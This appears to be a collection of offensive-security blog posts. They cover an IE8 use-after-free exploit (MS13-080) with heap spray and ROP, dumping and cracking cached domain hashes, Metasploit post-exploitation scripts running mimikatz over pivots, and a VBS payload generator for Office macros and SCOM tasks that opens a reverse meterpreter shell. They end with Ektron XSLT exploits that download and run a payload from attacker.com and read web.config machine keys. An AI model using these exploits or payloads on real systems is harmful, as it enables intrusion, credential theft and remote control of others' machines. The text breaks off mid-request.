Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3

A use after free bug is when an application uses memory (usually on the heap) after it has been freed. In various scenarios, attackers can influence the values in that memory, and code at a later point will use it with a broken reference.

This is an introductory post to use after free – walking through an exploit. Although there are a million posts about the class of bug, not many are hands on (and this one is). I’ve been spending some free time over the past month looking into use after free type bugs. I’m a noob in this space so please call out/forgive mistakes.

Setup

Install a windows xpsp3 VM without updates. I got the vulnerable version of IE from this totally legit looking site, http://www.oldapps.com/internet_explorer.php?old_internet_explorer=17. When installing, make sure you disconnect the internet connection so it doesn’t update, which it will do otherwise.

We begin with this https://gist.github.com/wchen-r7/6758172, which should give us a crash that looks something like the following:

(31c.8f0): Access violation - code c0000005 (!!! second chance !!!)
eax=028601c5 ebx=001e8520 ecx=02ff0801 edx=020be80c esi=636397e4 edi=63662c78
eip=63662dca esp=020be7ec ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xb6:
63662dca ff11            call    dword ptr [ecx]      ds:0023:02ff0801=????????
0:008> ub
mshtml!CTreeNode::GetInterface+0xa2:
63662db6 f3a7            repe cmps dword ptr [esi],dword ptr es:[edi]
63662db8 0f84c9f31800    je      mshtml!CTreeNode::GetInterface+0x1e9 (637f2187)
63662dbe 8b03            mov     eax,dword ptr [ebx]
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
0:008> k
ChildEBP RetAddr  
020be810 63662d3a mshtml!CTreeNode::GetInterface+0xb6
020be828 635f3fe4 mshtml!CTreeNode::NodeAddRef+0x24
020be8ac 637fd38f mshtml!CDoc::PumpMessage+0x4a3
020be968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
020be990 638e5dab mshtml!CElement::setCapture+0x50
...

Based on the crash, this is most likely either a use after free where ecx could be a pointer to a table of function pointers (although for me at this point it is difficult to tell the difference between this and a null ptr dereference).

Investigation

Let’s take a second to analyze.

The first step is to turn on pageheap and user mode stack tracing for iexplore.exe using gflags. pageheap will monitor all heap memory operations, allowing us to see when our application is trying to access the freed memory immediately (it will crash sooner – a good writeup on what’s going on is here) and also see some additional info, such as the sizes of the allocations and stack traces involved.

gflags

Running the same file, you will get a different crash now.

(40c.a04): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=39fae8d0 ecx=335006a8 edx=39fae608 esi=00000000 edi=0d5b6fb0
eip=635f4478 esp=39fae820 ebp=39fae828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::HasContainerCapture+0x14:
635f4478 8b0f            mov     ecx,dword ptr [edi]  ds:0023:0d5b6fb0=????????
0:008> k
ChildEBP RetAddr  
037ce828 635f5887 mshtml!CDoc::HasContainerCapture+0x14
037ce8ac 637fd38f mshtml!CDoc::PumpMessage+0x3e2
037ce968 638b9650 mshtml!CDoc::SetMouseCapture+0xe6
037ce990 638e5dab mshtml!CElement::setCapture+0x50

We are crashing earlier, at the setCapture functions from our Javascript which is trying to reference memory that was freed in the earlier document.write. We can verify this with windbg.

Using the info stored in heaplib, we can use this to find the size of the chunk

0:023> .printf "0x%x", 1000 - edi & 0xFFF
0x50

Because we want to replace a piece of memory 0x50 big, we can modify our script to add the following.

<html>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
  lfh[i] = document.createElement('div');
  lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
 

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");

    tt = new Array(20);
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className = "\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424\u2424";
    }
  }
 
  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture();
}
 
window.onload = function() {
  trigger();
}
</script>
</html>

We will now get a crash that looks like this:

(be0.9e4): Access violation - code c0000005 (!!! second chance !!!)
eax=24242424 ebx=001e83e8 ecx=00000003 edx=00000000 esi=636397e4 edi=63662c78
eip=63662dc0 esp=020be7f8 ebp=020be810 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]  ds:0023:24242424=????????
mshtml!CTreeNode::GetInterface+0xac:
63662dc0 8b08            mov     ecx,dword ptr [eax]
63662dc2 8d55fc          lea     edx,[ebp-4]
63662dc5 52              push    edx
63662dc6 ff750c          push    dword ptr [ebp+0Ch]
63662dc9 50              push    eax
63662dca ff11            call    dword ptr [ecx]
63662dcc 8bf0            mov     esi,eax
63662dce 85f6            test    esi,esi

This is just a few instructions before our call [ecx]. So to get EIP, we need to point eax to a valid value that points to where we want to start executing. We should be able to do this with a heap spray (maybe not ideal, but easy), then a stack pivot to this address where we can execute our ROP. Because we are modifying a metasploit payload, let’s just do everything the metasploit way, which I’ll cover in the next section.

Metasploit browser Detection, Heap Spray, and ROP

Because we are modifying a metasploit module, let’s just use all their builtin stuff and do this the metasploit way.

First thing we need to do is detect the browser, which is described here. In the msf module, there was existing parameters to detect windows 7 IE9, so we have to configure it to also accept windows XP with IE8.

    'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows 7 with Office 2007|2010',
            {
              :os_name   => /win/i,
              :ua_name   => HttpClients::IE,
              :ua_ver    => "9.0",
              :os_flavor => "7",
              :office    => /2007|2010/
            }
          ],
          [
            'Windows XP with IE 8',
            {
              :os_name   => "Windows XP",
              :ua_name   => HttpClients::IE,
              :ua_ver    => "8.0";
            }
          ]
        ],

Heap spraying is the process of throwing a bunch of crap on the heap in a predictable way. Again, metasploit can do this for us. This is described here. We can also get rid of our lfh allocation at the beginning because js_property_spray will take care of it for us. The docs say a reliable address is 0x20302020, so we’ll just use that.

At this point you should be able to have eip control (eip=0x414141) using something like this

  def get_exploit_html_ie8(cli, target_info)
    #address containing our heap spray is 0x20302020
    spray_addr = "\\u2020\\u2030"

    #size to fill after free is 0x50
    free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2) 

    %Q|
<html>
<script>

#{js_property_spray}
tt = new Array(30);

function trigger()
{
  var id_0 = document.createElement("sup");
  var id_1 = document.createElement("audio");
 
  document.body.appendChild(id_0);
  document.body.appendChild(id_1);
  id_1.applyElement(id_0);
 
  id_0.onlosecapture=function(e) {
    document.write("");
    
    for(i = 0; i < tt.length; i++) {
      tt[i] = document.createElement('div');
      tt[i].className ="#{free_fill}";
    } 

  var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444%u4545%u4545%u4646%u4646%u4747%u4747");  //this is mangled thanks to wordpress, but is just escaped js strings
  sprayHeap({shellcode:s});
  }

  id_0['outerText']="";
  id_0.setCapture();
  id_1.setCapture(); 
}
 
window.onload = function() {
  trigger();
}
</script>
</html>
    |
  end

Finally, we just need rop, which msf also has (if you’re interested in learning how to ROP, this is a good tutorial). ROP with heap sprays are generally really easy (as long as you know a base address). This is not like a stack overflow where we need to do shenanigans, we just put stuff in order on our heap spray and we don’t have to worry about null bytes, etc etc. Nevertheless, metasploit has builtin RopDB for Windows XP where the addresses are constant, using msvcrt. https://dev.metasploit.com/api/Rex/Exploitation/RopDb.html.

To connect everything, we just need a stack pivot, meaning we need esp to point to our heap that we control. right now eax points to our heap of course, so we can look for something that moves eax to esp (there are several ways to do this, mov esp, eax | xchg eax, esp | push eax then pop esp, etc.). Let’s just look in msvcrt since we’re using that dll to virtualprotect later anyway. I usually use rp++ for this although I had mona loaded so I did search through that (unfortunately not able to find something I could use in msvcrt with mona). Searching for output with rp++ I found

0x77c3868a
xchg eax, esp
rcr dword [ebx-0x75], 0xFFFFFFC1
pop ebp 
ret  

This will work great. Now just put them in the right order, and we have our exploit!

msf_msgbox

I put in a pull request for this into metasploit so you can see the “final” version here, although it hasn’t yet been reviewed or accepted at the time I’m writing this. Of course this is largely useless for practical purposes, but it is a pretty good way to learn the basics of use after free IMO. Many vulns affect multiple versions of a browser, so it’s a fun exercise to port the bugs to different versions.

Follow-Ups

Some of my favorite work in this space is done by Peter Vreugdenhil at exodusintel. For a more advanced UAF (from someone who knows WAY more about browser exploitation than I do) see http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/

I plan on doing a part II here, perhaps trying to touch on memory leaks and newer browsers. Stay tuned…

MSCash Hash Primer for Pentesters

Pass the hash is dead. Just kidding. Although Windows 8.1/2012R2 has some good improvements to help slow down lateral movement on a Windows network, pass the hash style attacks are still obviously a good way to spread out as a pentester/attacker. Here’s the scenario to keep in mind: you’re a local admin on a domain joined Server 2012R2 box and want to spread out.

Let me expand a little on why you’d ever want to look at MS Cache.

In our scenario above, first you might think mimikatz. LSASS is a protected process now, but that might not matter much. Mimikatz has a legitimately signed driver. Okay, this is great. But maybe the ops team has a rule looking for drivers being loaded and you don’t want to load a driver. Or worse, maybe everyone has logged off of the box and they’re only logging in with Network login. With 2008R2, credentials seemed to usually be cached in LSASS the next reboot, but this has changed in 2012R2. Now when users log out, their credentials are no longer cached (afaik). As an aside, this might be a good thing to keep in mind with disconnected RDP sessions since the users are still logged in.

Without touching LSASS, you can also use token impersonation to get a similar effect. But this still requires a user to be logged in to take their tokens. There are also some nice things about eventually getting a hash or cleartext password rather than a token. Like even if a token can be used on that domain, a cleartext hash allows you to check for password reuse (or look for password variants if you can get the cleartext).

There are a lot of ways to go even if nobody’s logged in. You could be a pirate, trigger AV and see if an ops user logs in interactively. You could setup an NTLM relayer to pass credentials of something, maybe the Qualys box. But one thing that’s often overlooked (at least by old me) is MS cache.

An Overview of MS Cache

The terminology can be confusing. Although the MS cache hash is a hash of the user’s password, it’s a distinct value from the user’s hash that you’d use to directly pass the hash. You can’t expect to forward it and for things to work. A good overview is on the jtr wiki here.

What happens when you are in front of a Windows machine, which has a domain account and you can’t access the domain (due to network outage or domain server shutdown)? Microsoft solved this problem by saving the hash(es) of the last user(s) that logged into the local machine. These hashes are stored in the Windows registry, by default the last 10 hashes.

The number of logins cached can be configured with group policy, as described here: http://technet.microsoft.com/en-us/library/jj852209.aspx. The passwords seem to be cached this way with any interactive login (not just local).

The algorithm for this is well understood. It’s PBKDF2(HMAC-SHA1, 10240, DCC1, username). Python has an implementation here

>>> from passlib.hash import msdcc2
>>> hash = msdcc2.encrypt("Password123", user="test2")
>>> print hash
'd7f91bcdec7c0df39396b4efc81123e4'

Anyway. The only source of entropy for these MS cache hashes is the username. To be clear, the salt does not include the domain, the computer, etc. This is better than a normal hash which does not include the username either, but it is still not great. To illustrate this concept:

# Machine: client1.rlundtest2.local // Server 2012R2
# User: test2
# password is Password123
# NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4
# NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71

# Machine: client2.differentdomain.local // Server 2008R2
# User: test2
# password is Password123
# NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4
# NT Hash: 58A478135A93AC3BF058A5EA0E8FDB71

# Machine: client1.rlundtest2.local // Server 2012R2
# User: mopey
# password is Password123
# NT MSCASH Hash: 9721A87936592047EEF768B9AE603757
# NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71

With the normal NT hashes, the hash is always the same given a password (i.e. This is why pass the hash works across domains). With MS cache hashes it takes the username as entropy, but usernames aren’t random. If the “Administrator” account has the same password across domains, this MS cache hash is constant. Besides builtins like Administrator, this is also interesting in organizations that have several separate domains, but usernames are constant between them.

Another thing to hammer in again. The NT Hash seems to be cached in server2012R2 only when the user is logged in, and in server 2008R2 until the next reboot. But (if configured to cache things, like it does by default) the MSCache hash is stored in a registry hive and will persist across reboots.

Extracting and using the Cache hashes

These hashes are stored in an obfuscated way in the registry, and getting at them is comparable to getting at local SAM accounts. Cachedump is one tool, although the source code seems to 404. Quarkspwdump is another tool, use “QuarkspwDump.exe -dhdc”. Metasploit also has a post exploit module, cachedump, that does this.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > background
[*] Backgrounding session 1...
msf exploit(psexec) > use post/windows/gather/cachedump
msf post(cachedump) > show options
Module options (post/windows/gather/cachedump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEBUG    false            yes       Debugging output
   SESSION                   yes       The session to run this module on.

msf post(cachedump) > set SESSION 1
SESSION => 1

msf post(cachedump) > run

[*] Executing module against CLIENT1
[*] Cached Credentials Setting:  - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining LK$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[*] MSCACHE v2 saved in: /root/.msf4/loot/20140201152655_default_192.168.137.147_mscache2.creds_064400.txt
[*] John the Ripper format:
# mscash2
...
test2:$DCC2$#test2#d7f91bcdec7c0df39396b4efc81123e4:RLUNDTEST2.LOCALt:RLUNDTEST2

This theoretically is put in a format that john the ripper understands, but unfortunately John on Kali doesn’t seem to understand the format (it will run, but even with a wordlist the password doesn’t crack). For better luck, simply put it in “username:hash”

$ cat mscash.txt
test2:d7f91bcdec7c0df39396b4efc81123e4
$ john --format=mscash2 ./mscash.txt
Loaded 1 password hash (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 4x])
Password123      (test2)
guesses: 1  time: 0:00:00:00 DONE (Mon Feb  3 09:03:34 2014)  c/s: 14.28  trying: password - Password123
Use the "--show" option to display all of the cracked passwords reliably

Other crackers seem to support this format also, like hashcat (untested) and Cain.

cain

Slowness (update)

I’ve seen some twitter activity around how this is “new pass the hash on windows 8.1”. This isn’t the case, although I do poke fun at the “pass the hash is dead” stuff. When I first published this, I should have expanded on how slow this cracking can be. JTR wiki says

The far from optimized MSCash2 algorithm provided in the sample code below and used in the corresponding MSCash2 JtR patch generates about 330 DCC2 hashes/sec (MSCash2) on an Intel Core2 Quad CPU Q6700, compared to 58.8 millon DCC1 hashes/sec (MSCash). In other words, incremental brute-force attacking for different search spaces, depending on the character set and the password length, will take ages. So it is a good idea to do some intelligent password guessing when attacking DCC2 hashes, i.e. rule-based dictionary and probabilistic attacks.

By default a lot of these could also be pre computed and put into rainbow tables. Although the iteration count is apparently configurable and could make this not practical.

</update>
The end, thanks for reading! Are greetz still a thing? Thanks to my friend Dave for help on this.

A few Metasploit Post Exploit Resource Scripts

Some of this code is fairly ugly and copy/pasted between files. It is meant for one-offs within a pentest, not necessarily extended and built on. Still, it’s been useful and it might be helpful for those wanting to automate similar things. Plus it was built for real, not just in a lab, so at least it works sometimes :)

Spooler Migrate

[code]

This was inspired (and some bits copied) from the smart_migrate module. smart_migrate migrates to explorer.exe or starts an instance. Sometimes this isn’t what you want to do. Say you’re running as system – explorer likely is not running in this context, and starting it as system might be suspicious. Also, in my testing when meterpreter timed out it would crash the process you’re executing in, so sometimes it needed to be restarted (not to mention you might not want to migrate to something more critical for persistence).

This module checks if a print spooler is running and migrates it (and if it’s not started, it starts it, then migrates to it).

Usage Example:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > resource spooler_migrate.rc 
[*] Processing spooler_migrate.rc for ERB directives.
[*] resource (spooler_migrate.rc)> Ruby Code (917 bytes)
[*] migrating to spooler
[*] done migrating
msf exploit(psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getpid 
Current pid: 1248
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session     User                          Path
 ---   ----  ----               ----  -------     ----                          ----
 0     0     [System Process]         4294967295                                
...
 1248  488   spoolsv.exe        x86   0           NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe

It should not take much effort to customize the script, for example, to set it as autorun or to have it run on all sessions with system.

Pivoted Mimikatz through PS Remoting or PSExex

[code]

During a pentest, it’s fairly common to have code execution on one host and using that host to pivot. Behold, visio skillz

pivotpirate

Although it’s usually nicer to do everything through remote powershell, there are times when it’s not available. In those cases, it might be necessary to fall back on something else like psexec.

This script does the following

  1. Pivots through a session
  2. Port scans a few ports to see what services are up
  3. Runs mimikatz through remote powershell , if it’s available. This is better because the ps1 is never written to disk (this script writes powershell to our pivot box, but nothing ever touches the target box). See my coworker’s blog on the powershell details here.
  4. If remote powershell isn’t available, copy the powershell script over and psexec

Additionally, this script takes user/pass arguments. This is useful, for example, if you’re executing as SYSTEM on a box nobody’s logged into but you’d like to execute as code on another box as a domain user.

One obvious improvement is it could be parallized so you’re running on multiple hosts at once. This wasn’t an issue for me because my scale wasn’t that size, and this script should work fine for a few thousand hosts as long as you’re willing to let it run for a few hours.

msf exploit(psexec) > setg RHOST_FILE res_data/hostfile.txt
RHOST_FILE => res_data/hostfile.txt
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > setg duser TEST.local\\mopey
duser => TEST.local\mopey
msf exploit(psexec) > setg dpass password
dpass => password
msf auxiliary(smb_enumshares) > resource mimikatz_remote.rc 
[*] Processing mimikatz_remote.rc for ERB directives.
[*] resource (mimikatz_remote.rc)> Ruby Code (8313 bytes)
#####################
# Beginning AD.rlundtest.local
#####################
#####################
# Routing through Session 1
#####################
SESSION => 1
HOSTNAME => AD.rlundtest.local

[*] AD.rlundtest.local resolves to 192.168.137.100
[*] Post module execution completed
NETMASK => 255.0.0.0
SUBNET => 192.168.137.100
[*] Running module against CLIENT5
[*] Adding a route to 192.168.137.100/255.0.0.0...
[*] Post module execution completed
#####################
# PORTSCANNING AD.rlundtest.local
#####################
RHOSTS => 192.168.137.100
PORTS => 5985,5986,445
[*] 192.168.137.100:5985 - TCP OPEN
[*] 192.168.137.100:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
AD.rlundtest.local
SMB is enabled. Use this if remote ps is disabled
Powershell looks enabled, using that rather than SMB
#####################
# Running Mimikatz on RLUNDTEST.local\mopey on  AD.rlundtest.local
#####################
uploading to C:\Windows\TEMP\hOllYmPh.ps1
uploading to /tmp/Invoke-ReflectivePEInjection.ps1.tmp
Executing the following command over remote powershell
cmd /c echo "." | powershell -Executionpolicy bypass -Command "& C:\Windows\TEMP\hOllYmPh.ps1  >> "C:\Windows\TEMP\snWgndjt"
saving output in /root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
Cleaning remote files
#####################
# Cleaning up: Resetting routes
#####################
msf auxiliary(tcp) > cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
[*] exec: cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt

Authentication ID         : 0;996
Authentication Package    : Negotiate
Primary user              : AD$
Domain authentication     : RLUNDTEST
....

For the psexec part of this to work I submitted three pull requests to fix minor issues in how metasploit lists files. Two hav been accepted (1 2), but the other has not (at least not yet). Feel free to use that branch, or you could always use another psexec payload of your choice. The old psexec_command will also work for some payloads, they just can’t take a long time or return binary data.

This should be easy to customize and can be quite useful. Say you’d like to execute a powershell script through remote powershell, wmic, or psexec (in that order of preference) but don’t know what’s enabled. You can run a modified version of this script and hit a bunch of hosts.

Pivoting and Looking for Password Reuse between things

[code]

Another pivoting example. Say you’ve pwned one domain, like you’ve dumped the hashes from the domain controller, but want to check for password reuse on the second. This is a script for that type of scenario. Looking at the diagram below, you might say, but there’s a brick wall in front of pivot pirate. But aha, there are red arrows.

pivotpirate2

  1. Pivots through a session
  2. Picks a random host from a hostfile
  3. Checks port 445
  4. Runs smb_login through session

Usage is similar to the last couple scripts. Additionally, it could be sped up significantly if it were parallelized, but one hash at a time was plenty fast for my use.

Yet another VBS pwncode generator

[gen_vbs.py]

The reason why there are tools like this is (probably) because nobody likes writing their malicious stuff in vbs, but sometimes vbs is the only way you can execute code.

Here are the two vbscript shellcode things I’ve used in the past: one from didierstevens, and one in metasploit. A common theme is that both of these seem to basically make a call to virtualalloc, move shellcode there, and execute it. They also both seem to flag on my AV, which after taking a bunch of stuff out, seems to just trigger on virtualalloc in vbscript whether or not it’s malicious (but I’m not 100% sure what it’s flagging on).

My script gen_vbs.py is slightly different. It will encode a file as base64 as part of the script, and then write that file to disk (this could be an exe, powershell or more vbs!). It can then execute that file. This allows quite a bit of flexability. I’ve put the script on github.

Office Doc Macros Example

This will walk through creating vbscript that will start calc when someone opens an Office document after they click through a warning. With very slight modifications you could connect back meterpreter, which I’ll show the steps in the scom example after this.

First, generate the vbscript (there isn’t much here since all it’s doing is executing calc and has no file to write)

#python gen_vbs.py --cmd="C:\\Windows\\System32\\calc.exe" --office --debug

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

Private Function getVar(mvar)
  Dim objshell
  Dim envObj
  Set objshell = CreateObject("WScript.Shell")
  Set envObj = objshell.Environment("PROCESS")
  getVar = envObj(mvar)
End Function
Private Sub execfile()
  Dim cmd
  cmd = "C:\Windows\System32\calc.exe"
  cmd = Replace(cmd, "%TEMP%", getVar("temp"))
  cmd = Replace(cmd, "%SYSTEMROOT%", getVar("windir"))
  Dim runObj
  Set runObj = CreateObject("Wscript.Shell")
  runObj.run cmd, 0, true
End Sub
  
Sub AutoOpen()
   execfile
End Sub

Notice the AutoOpen() command, which will trigger when a word document is opened (if the settings allow it). There are several other places to trigger functions, such as AutoClose(). Here are several.

Anyway, create a new word document. I’m using Office 2013. Then go to view -> macros.

viewmacro

Click create, and paste the vbscript in the file.

What happens when a user opens it depends on their macro settings. The default is to “Disable all macros with notification”, so they’ll probably get a nasty warning like this.

disabled_macros

If they open the document and enable macros, calc will run. It’s one of the oldest social engineer things on earth.

macro_run

SCOM Example

My good friend Justin gave an awesome talk at defcon. One of the examples he gave was code execution on the domain controller through a compromised SCOM monitoring server. SCOM boxes are often more exposed than a domain controller, and can run arbitrary code on other boxen (like domain controllers). But guess what? They do it through vbscript.

First let’s figure out what we want to execute. I’m using powersploit as the stage one for a reverse metasploit meterpreter shell. So I grab Invoke-Shellcode and add the following line to the ps1

Invoke-Shellcode -Force -Payload windows/meterpreter/reverse_https -Lhost 192.168.3.154 -UserAgent "Microsoft Word" -Lport 443

Next, let’s generate our vbscript so the powershell executes on the server we want. Call my script like this

# python gen_vbs.py --inputFile ./Invoke-Shellcode.ps1 \
--writeFilePath="%TEMP%\\invoke_ping.ps1" \
-cmd="%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe \
-executionpolicy bypass  %TEMP%\\invoke_ping.ps1" > output.vbs

and set up a reverse meterpreter listener

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST x.x.x.x
LHOST => 192.168.138.154
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.138.154:443/
[*] Starting the payload handler...

Justin has a walkthrough of this on the youtube video from his blog, but the quick version is:Start SCOM console, connect to the server with the account, go to “Authoring -> Tasks -> Create a new task”

scom1

Follow the prompts. We want to run this on Windows servers. Let’s name in “Extended Ping”. Then paste the vbscript generated by the tool and create the task.

scom3

Go to the “Monitoring” tab, and now you’re free to execute our new task on any servers we’re monitoring

scom4

Run, and we get our meterpreter shell as system.

meterpreter

CVE-2012-5357,CVE-1012-5358 Cool Ektron XSLT RCE Bugs

In early 2011, I met a fully updated 8.02SP2 Ektron and it was a bunch of bugs at first sight. Ektron is a CMS. It isn’t a household name like wordpress, but it’s actually used on quite a few very big enterprise-like sites. Subsequently a few of these bugs have been found independently, but to my knowledge my favorites (CVE-2012-5357,CVE-1012-5358) have never been publicly written about.

I was originally planning to talk about these in our New Ways I’m Going to Hack your Web App talk which came over nine months after I reported the issue. In fact, it was a part of the talk at Bluehat, where it was a hit when I used Metasploit for the demo :)

Unfortunately, there was some pressure at the time to keep this out of the 28c3 and Blakhat AD versions of the talk. Booo. But on October 15th 2012, MSVR released an advisory, so at long last I’ll give some technical details on a couple of the more interesting bugs I found.

CVE-5357 – Unauthenticated code execution in the context of web server

The root cause of this is that Ektron processed user-controlled XSL from a page that required no auth. They used the XslCompiledTransform class with enablescript set to true. This scripting allows the user to execute code, as documented here.

Here are hack steps to get a meterpreter shell using this:

  1. Create the shellcode we’ll use using the following. At the time of the exploit, naming to .txt seemed to evade antivirus, although at some point this stopped working reliably.
  2. ./msfpayload windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=80 r | ./msfencode –t exe –o output.txt
    
  3. Upload output.txt to http://attacker.com/output.txt
  4. Start a multistage metasploit listener from msfconsole on a reachable attacker box.
  5. use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST <listen_address>
    set LPORT 80
    
  6. Upload the following code to http://attacker.com/xsl.xslt
  7. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
        <![CDATA[
    public string xml()
      {
                System.Net.WebClient client = new System.Net.WebClient();
                client.DownloadFile(@"http://attacker.com/output.txt", @"C:\\windows\\TEMP\\test92.txt");
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.FileName = @"C:\\windows\\TEMP\\test92.txt";
                p.Start(); 
               return "hai";
    
      }
    
    ]]>
      </msxsl:script>
      <xsl:template match="/">
        <xsl:value-of select="user:xml()"/>
      </xsl:template>
    </xsl:stylesheet>
    
    
  8. Do the following post request, which will cause ektron to process the xsl. Ektron did check the referer, but it did NOT check any auth info, and there is no secret information in this POST request at all. Notice the xslt=http://attacker.com/xsl.xslt which points to the xslt file we created in step 4. When processed, this will connect back to our listener we setup in step 1.
  9. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    
    xml=AAA&xslt=http://attacker.com/xsl.xslt &arg0=mode%3Ddesign&arg1=skinPath%3D%2FWorkArea%2Fcsslib%2FContentDesigner%2F& arg2=srcPath%3D%2FWorkArea%2FContentDesigner%2F&arg3=baseURL%3Dhttp%3A%2F%2Fektronsite& arg4=LangType%3D1033& arg5=sEditPropToolTip%3DEdit%20Field%3A
    
    

One of the early mitigations was to limit egress access, but it turns out you can just as easily specify the xsl inline. Another early mitigation was to IP restrict access to the Ektron management console. However, Ektron had multiple clientside vulnerabilities. We were able to blend clientside bugs with this to still exploit.

CVE-5358 Local File Read

After 5357 was fixed, I was testing that fix, and it turns out there was another related vulnerability. They had configured the xsl with enableDocumentFunction set to true. This vulnerability allows an unauthenticated attacker to read arbitrary files, such as web.config and machine.config. This would allow an attacker to perform several attacks, like bypassing authentication, modifying viewstate, bringing down the server, etc. I could spend a lot of time here, but we can agree reading the machinekey is bad.

Hack steps to retrieve the machinekey:

  1. URL encode the following xsl
  2. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <xsl:template match="/">
        <xsl:value-of select="document('g:\EKTRON\web.config')//machineKey/@decryptionKey"/>
        <xsl:value-of select="foo"/>
      </xsl:template>
    </xsl:stylesheet>
    
  3. Do the following POST. Note this is unauthenticated
  4. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    Content-Length: 1217
    
    xml=%3Cp%3Eaaaaa%3C%2Fp%3E&xslt=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%27%31%2e%30%27%3f%3e
    %0a%3c%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%0a%20
    %20%20%20%20%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72
    %67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%0a%20%20%20%20%20%20%78%6d%6c%6e
